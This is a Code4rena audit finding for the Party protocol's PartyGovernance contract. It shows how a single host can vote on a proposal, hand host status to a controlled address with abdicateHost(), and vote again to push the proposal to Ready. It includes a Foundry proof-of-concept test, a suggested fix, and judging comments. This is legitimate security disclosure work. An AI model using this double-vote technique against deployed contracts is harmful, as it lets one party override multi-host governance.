Platform: Code4rena
Start Date: 31/10/2023
Pot Size: $60,500 USDC
Total HM: 9
Participants: 65
Period: 10 days
Judge: gzeon
Total Solo HM: 2
Id: 301
League: ETH
Rank: 33/65
Findings: 1
Award: $199.93
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Madalad
Also found by: 0xbepresent, 3docSec, Emmanuel, HChang26, P12473, Shaheen, adriro, ast3ros, bart1e, evmboi32, klau5, pontifex, rvierdiiev, sin1st3r__
199.934 USDC - $199.93
A party
can be created using a determined number of hosts. Those hosts can vote individually to a proposal in order to pass the proposal. Additionally the proposal can not be voted multiple times by the same host
:
File: PartyGovernance.sol 595: function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) { ... ... 626: // Cannot vote twice. 627: if (info.hasVoted[msg.sender]) { 628: revert AlreadyVotedError(msg.sender); 629: } 630: // Mark the caller as having voted. 631: info.hasVoted[msg.sender] = true; ...
The problem is that the host
can transfer his voting power using abdicateHost() function to a controlled address then vote again to the same proposal. The same host
can pass a proposal without the approval of other hosts.
I created a test where the same host
passes the proposal (status ready) without the approval of the other host. Test steps:
defaultGovernanceOpts.hosts[0]
accepts the proposaladdress(1337)
using the abdicateHost
func. The new controlled address(1337)
can vote to the same proposal.ready
and the malicious host does not need the approval of other legitimate hosts.// File: PartyGovernanceUnit.t.sol // $ forge test --match-test "testHostCanPassAProposalWithoutTheApproveOfTheOtherHosts" -vvv // function testHostCanPassAProposalWithoutTheApproveOfTheOtherHosts() external { ( IERC721[] memory preciousTokens, uint256[] memory preciousTokenIds ) = _createPreciousTokens(2); TestablePartyGovernance gov = _createGovernance( false, 100e18, preciousTokens, preciousTokenIds ); address undelegatedVoter = _randomAddress(); gov.rawAdjustVotingPower(undelegatedVoter, 51e18, address(0)); // // Create a one-step proposal. PartyGovernance.Proposal memory proposal = _createProposal(1); uint256 proposalId = gov.getNextProposalId(); // // Skip because `accept()` will query voting power at `proposedTime - 1` skip(1); vm.prank(undelegatedVoter); assertEq(gov.propose(proposal, 0), proposalId); _assertProposalStatusEq(gov, proposalId, PartyGovernance.ProposalStatus.Passed); // // 1. The host defaultGovernanceOpts.hosts[0] accepts the proposal vm.startPrank(defaultGovernanceOpts.hosts[0]); gov.accept(proposalId, 0); _assertProposalStatusEq(gov, proposalId, PartyGovernance.ProposalStatus.Passed); // // 2. The same host can not vote to the same proposal. Transaction will be reverted. vm.expectRevert(); gov.accept(proposalId, 0); // // 3. The same host transfers his voting power to address(1337) using the abdicateHost func // The new controlled address can vote to the same proposal, now the proposal is ready gov.abdicateHost(address(1337)); vm.stopPrank(); vm.prank(address(1337)); gov.accept(proposalId, 0); // // 4. The proposal now is `ready` and the host does not need the approval of other legitimate hosts _assertProposalStatusEq(gov, proposalId, PartyGovernance.ProposalStatus.Ready); }
Manual review
When transfer the voting power using the abdicateHost, the new host should be able to vote only for new proposals.
Context
#0 - c4-pre-sort
2023-11-11T15:59:05Z
ydspa marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-11T15:59:30Z
ydspa marked the issue as duplicate of #538
#2 - c4-judge
2023-11-19T13:31:32Z
gzeon-c4 changed the severity to 3 (High Risk)
#3 - c4-judge
2023-11-19T13:31:51Z
gzeon-c4 marked the issue as satisfactory